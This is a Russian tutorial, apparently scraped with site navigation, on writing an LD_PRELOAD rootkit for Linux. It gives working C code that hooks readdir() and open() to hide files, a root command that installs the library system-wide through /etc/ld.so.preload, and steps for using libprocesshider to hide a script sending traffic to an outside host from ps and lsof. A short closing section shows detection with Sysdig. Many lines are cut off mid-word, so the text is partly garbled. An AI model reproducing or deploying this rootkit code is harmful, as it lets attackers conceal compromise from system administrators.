Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Каждый раз при вызове malloc(
динамический компоновщик вызывает версию malloc(
из libmalloc.
, поскольку это первое вхождение malloc(
. Но мы хотим вызвать следующее вхождение malloc(
— то, что находится в libc.
.
Так происходит потому, что динамический компоновщик внутри использует функцию dlsym(
из /
для поиска адреса загруженного в память.
По умолчанию в качестве первого аргумента для dlsym(
используется дескриптор RTLD_DEFAULT
, который возвращает адрес первого вхождения символа. Однако есть еще один псевдоуказатель динамической библиотеки — RTLD_NEXT
, который ищет следующее вхождение. Используя RTLD_NEXT
, мы можем найти функцию malloc(
библиотеки libc.
.
Отредактируем libmalloc.
. Комментарии объясняют, что происходит внутри программы:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"
// Здесь все то же, что и в примере с malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
// Вызов orig_readdir() для получения каталога
struct dirent *ep = orig_readdir(dirp);
while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )
ep = orig_readdir(dirp);
return ep;
}
В цикле проверяется, не NULL ли значение директории, затем вызывается strncmp(
для проверки, совпадает ли d_name
каталога с RKIT (файла с руткитом). Если оба условия верны, вызывается функция orig_readdir(
для чтения следующей записи каталога. При этом пропускаются все директории, у которых d_name
начинается с rootkit.
.
Теперь давай посмотрим, как отработает наша библиотека в этот раз. Снова компилируем и смотрим на результат работы:
$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
malloc(): 0x55ca92740260
Str: I'll be back
Отлично! Как мы видим, все прошло гладко. Сначала при первом вхождении malloc(
была использована наша реализация этой функции, а затем оригинальная реализация из библиотеки libc.
.
Теперь, когда мы понимаем, как работает LD_PRELOAD
и каким образом мы можем предопределять работу со стандартными функциями системы, самое время применить эти знания на практике.
Попробуем сделать так, чтобы утилита ls, когда выводит список файлов, пропускала руткит.
Большинство динамически скомпилированных программ используют системные вызовы стандартной библиотеки libc. С помощью утилиты ldd посмотрим, какие библиотеки использует программа ls:
$ ldd /bin/ls
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
...
Получается, ls динамически скомпилирована с использованием функций библиотеки libc.
. Теперь посмотрим, какие системные вызовы для чтения директории использует утилита ls. Для этого в пустой директории выполним ltrace
:
$ ltrace ls
memcpy(0x55de4a72e9b0, ".", 2) = 0x55de4a72e9b0
__errno_location()
= 0x7f3a35b07218
opendir(".")
= 0x55de4a72e9d0
readdir(0x55de4a72e9d0)
= 0x55de4a72ea00
readdir(0x55de4a72e9d0)
= 0x55de4a72ea18
readdir(0x55de4a72e9d0)
= 0
closedir(0x55de4a72e9d0)
= 0
Очевидно, что при выполнении команды без аргументов ls использует системные вызовы opendir(
, readdir(
и closedir(
, которые входят в библиотеку libc. Давай теперь задействуем LD_PRELOAD
и переопределим эти стандартные вызовы своими. Напишем простую библиотеку, в которой изменим функцию readdir(
, чтобы она скрывала наш файл с кодом.
Здесь мы уже переходим к написанию простого руткита без нагрузки. Все, что он будет делать, — это прятать сам себя от глаз администратора системы.
Я создал директорию rootkit
и дальше буду работать в ней. Создадим файл rkit.
.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
Компилируем и проверяем работу:
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls -lah
итого 28K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
-rwxr-xr-x 1 n0a n0a 16K ноя 23 23:46 rootkit.so
$ LD_PRELOAD=./rootkit.so ls -lah
итого 12K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a 496 ноя 23 23:44 rkit.c
Нам удалось скрыть файл rootkit.
от посторонних глаз. Пока мы тестировали библиотеку исключительно в пределах одной команды.
Давай воспользуемся записью в /
для сокрытия нашего файла от всех пользователей системы. Для этого запишем в ld.
путь до нашей библиотеки:
#
rkit.c rootkit.so
# echo $(pwd)/rootkit.so > /etc/ld.so.preload
#
rkit.c
Теперь мы скрыли файл ото всех пользователей (хотя это не совсем так, но об этом позже). Но опытный администратор довольно легко нас обнаружит, так как само по себе наличие файла /
может говорить о присутствии руткита — особенно если раньше такого файла не было.
Давай попытаемся скрыть из листинга и сам файл ld.
. Немного модифицируем код rkit.
:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
Для наглядности я добавил к предыдущей программе еще один макрос LD_PL
c именем файла ld.
, который мы также добавили в цикл while
, где сравниваем имя файла для скрытия.
После компиляции исходный файл rootkit.
будет перезаписан и из вывода утилиты ls пропадет и нужный файл ld.
. Проверяем:
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls
rkit.c
$ ls /etc/
...
ldap
tmpfiles.d
ld.so.cache
ucf.conf
ld.so.conf
udev
ld.so.conf.d udisks2
libao.conf
ufw
libaudit.conf update-motd.d
libblockdev
UPower
...
Здорово! Мы только что стали на один шаг ближе к полной конспирации. Вроде бы это победа, но не спеши радоваться.
Давай проверим, сможем ли мы прочитать файл ld.
командой cat:
$ cat /etc/ld.so.preload
/root/rootkit/src/rootkit.so
Так-так-так. Получается, мы плохо спрятались, если наличие нашего файла можно проверить простым чтением. Почему так вышло?
Очевидно, что для получения содержимого утилита cat вызывает другую функцию — не readdir(
, которую мы так старательно переписывали. Что ж, давай посмотрим, что использует cat:
$ ltrace cat /etc/ld.so.preload
...
__fxstat(1, 1, 0x7ffded9f6180)
= 0
getpagesize()
= 4096
open("/etc/ld.so.preload", 0, 01)
= 3
__fxstat(1, 3, 0x7ffded9f6180)
= 0
posix_fadvise(3, 0, 0, 2)
= 0
...
На этот раз нам нужно поработать с функцией open(
. Поскольку мы уже опытные, давай добавим в наш руткит функцию, которая при обращении к файлу /
будет вежливо говорить, что файла не существует (Error no entry или просто ENOENT
).
Снова модифицируем rkit.
:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"
#define RKIT "rootkit.so"
#define LD_PL "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
// Сохраняем указатель оригинальной функции open
int (*o_open)(const char*, int oflag) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
struct dirent *ep = orig_readdir( dirp );
while ( ep != NULL &&
( !strncmp(ep->d_name, RKIT, strlen(RKIT)) ||
!strncmp(ep->d_name, LD_PL, strlen(LD_PL))
)) {
ep = orig_readdir(dirp);
}
return ep;
}
// Работаем с функцией open()
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX];
if(!o_open)
o_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, LD_PATH) == 0)
{
errno = ENOENT;
return -1;
}
return o_open(path, oflag);
}
Здесь мы добавили кусок кода, который делает то же самое, что и с readdir(
. Компилируем и проверяем:
$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ cat /etc/ld.so.preload
cat: /etc/ld.so.preload: Нет такого файла или каталога
Так гораздо лучше, но это еще далеко не все варианты обнаружения /
.
Мы до сих пор можем без проблем удалить файл, переместить его со сменой названия (и тогда ls снова его увидит), поменять ему права без уведомления об ошибке. Даже bash услужливо продолжит его имя при нажатии на Tab.
В хороших руткитах, эксплуатирующих лазейку с LD_PRELOAD
, реализован перехват следующих функций:
listxattr
, llistxattr
, flistxattr
;getxattr
, lgetxattr
, fgetxattr
;setxattr
, lsetxattr
, fsetxattr
;removexattr
, lremovexattr
, fremovexattr
;open
, open64
, openat
, creat
;unlink
, unlinkat
, rmdir
;symlink
, symlinkat
;mkdir
, mkdirat
, chdir
, fchdir
, opendir
, opendir64
, fdopendir
, readdir
, readdir64
;execve
.Разбирать подмену каждой из них мы, конечно же, не будем. Можешь в качестве примера перехвата перечисленных функций посмотреть руткит cub3 — там все те же dlsym(
и RTLD_NEXT
.
При работе руткиту нужно как-то скрывать свою активность от стандартных утилит мониторинга, таких как lsof, ps, top.
Мы уже довольно детально разобрались, как работает переопределение функций LD_PRELOAD
. Для процессов все то же самое. Более того, стандартные программы используют в своей работе procfs, виртуальную файловую систему, которая представляет собой интерфейс для взаимодействия с ядром ОС.
Чтение и запись в procfs реализованы так же, как и в обычной файловой системе. То есть, как ты можешь догадаться, наш опыт с readdir(
здесь придется кстати. ?
Как скрыть активность из мониторинга, предлагаю рассмотреть на хорошем примере libprocesshider, который разработал Джанлука Борелло (Gianluca Borello), автор Sysdig.com (о Sysdig и методах обнаружения руткитов LD_PRELOAD
мы поговорим в конце статьи).
Давай скопируем код с GitHub и разберемся, что к чему:
$ git clone https://github.com/gianlucaborello/libprocesshider
$ cd libprocesshider
$ ls
evil_script.py Makefile processhider.c README.md
В описании к libprocesshider
все просто: делаем make
, копируем в /
и добавляем в /
. Сделаем все, кроме последнего:
$ gcc -Wall -fPIC -shared -olibprocesshider.so processhider.c -ldl$ sudo mv libprocesshider.so /usr/local/lib/
Теперь давай посмотрим, каким образом ps получает информацию о процессах. Для этого запустим ltrace:
$ ltrace /bin/ps
...
time(0)
= 1606208519
meminfo(0, 4096, 0, 0x7f1787ce9207)
= 0
openproc(96, 0, 0, 0)
= 0x55c6f9f145c0
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0) = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7)
= 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)
= 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)
= 0x55c6f8258580
...
Информацию о процессе получаем при помощи функции readproc(
. Посмотрим реализацию этой функции в файле readproc.
:
static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
static struct direct *ent;
char *restrict const path = PT->path;
for (;;) {
ent = readdir(PT->procfs);
if(unlikely(unlikely(!ent) || unlikely(!ent->d_name))) return 0;
if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9'))) break;
}
p->tgid = strtoul(ent->d_name, NULL, 10);
p->tid = p->tgid;
memcpy(path, "/proc/", 6);
strcpy(path+6, ent->d_name);
return 1;
}
Из этого кода понятно, что PID процессов получают, вызывая readdir(
в цикле for
. Другими словами, если нет директории процесса — нет и самого процесса для утилит мониторинга. Приведу пример части кода libprocesshider
, где уже знакомым нам методом мы скрываем директорию процесса:
...
while(1)
{
dir = original_##readdir(dirp);
if(dir) {
char dir_name[256];
char process_name[256];
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
strcmp(dir_name, "/proc") == 0 &&
get_process_name(dir->d_name, process_name) &&
strcmp(process_name, process_to_filter) == 0) {
continue;
}
}
break;
}
return dir;
...
Причем само имя процесса get_process_name(
берется из /
.
Проверим наши догадки. Для этого запустим предлагаемый evil_script.
в фоне:
$ ./evil_script.py 1.2.3.4 1234 &
[
3435
— это PID нашего работающего процесса evil_script.
. Проверим вывод утилиты htop и убедимся, что evil_script.
присутствует в списке процессов.
Проверим вывод ps и lsof для обнаружения сетевой активности:
$ sudo ps aux | grep evil_script.py
root
3435 99.5 0.4 19272 8260 pts/1
R
11:48 63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234
root
3616 0.0 0.0
6224
832 pts/0
S+
12:52
0:00 grep evil_script.py
$ sudo lsof -ni | grep evil_scri
evil_scri 3435
root
3u IPv4 41410
0t0 UDP 192.168.232.138:52676->1.2.3.4:1234
Теперь посмотрим, существует ли директория с PID процесса evil_script.
:
$ sudo ls /proc | grep 3435
3435
$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...
Все предсказуемо. Теперь самое время добавить библиотеку libprocesshider.
в предзагрузку глобально для всей системы. Пропишем ее в /
:
# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
Проверяем директорию /
, а также вывод lsof и ps.
$ ls /proc | grep 3435
$ lsof -ni | grep evil_scri
ps aux | grep evil_script.py
root
3707 0.0 0.0
6244
900 pts/0
S+
13:10
0:00 grep evil_script.py
Результат налицо. Теперь в /
нельзя посмотреть директорию с PID скрипта evil_script.
. Однако статус процесса по-прежнему виден в файле /
.
$ cat /proc/3435/status
Name: evil_script.py
Umask: 0022
State: R (running)
Tgid: 3435
Ngid: 0
Pid: 3435
...
Подытожим. В первой части статьи мы изучили методы перехвата функций и их изменение, что позволяет скрывать руткиты. А дальше проделали то же самое для скрытия процессов от стандартных утилит мониторинга.
Как ты догадываешься, простые руткиты, несмотря на все хитрости, поддаются детекту. Например, при помощи разных манипуляций с файлом /
или изучения используемых библиотек при помощи ldd.
Но что делать, если автор руткита настолько хорош, что захукал все возможные функции, ldd молчит, а подозрения на сетевую или иную активность все же есть?
В отличие от стандартных инструментов, утилита Sysdig устроена по-другому. По архитектуре она близка к таким продуктам, как libcap, tcpdump и Wireshark.
Специальный драйвер sysdig-probe перехватывает системные события на уровне ядра, после чего активируется функция ядра tracepoints
, которая, в свою очередь, запускает обработчики этих событий. Обработчики сохраняют информацию о событии в совместно используемом буфере. Затем эта информация может быть выведена на экран или сохранена в текстовом файле.
Давай посмотрим, как с помощью Sysdig найти evil_script.
. К примеру, по загрузке центрального процессора:
$ sudo sysdig -c topprocs_cpu
CPU%
Process
PID---------------------------------------------
99.00%
evil_script.py
5979
2.00%
sysdig
5997
0.00%
sshd
928
0.00%
wpa_supplicant
474
0.00%
systemd
909
0.00%
exim4
850
0.00%
sshd
938
0.00%
su
948
0.00%
in:imklog
472
0.00%
in:imuxsock
472
Можно посмотреть выполнение ps. Бонусом Sysdig покажет, что динамический компоновщик загружал пользовательскую библиотеку libprocesshide
раньше, чем libc:
$ sudo sysdig proc.name = ps
2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0
...
2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0
2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832
...
2810 00:21:52.721293540 1 ps (3351) > open
2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6) name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0
2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832
...
Схожие функции предоставляют утилиты SystemTap, DTrace и его свежая полноценная замена — BpfTrace.
Проекты на GitHub:
|
|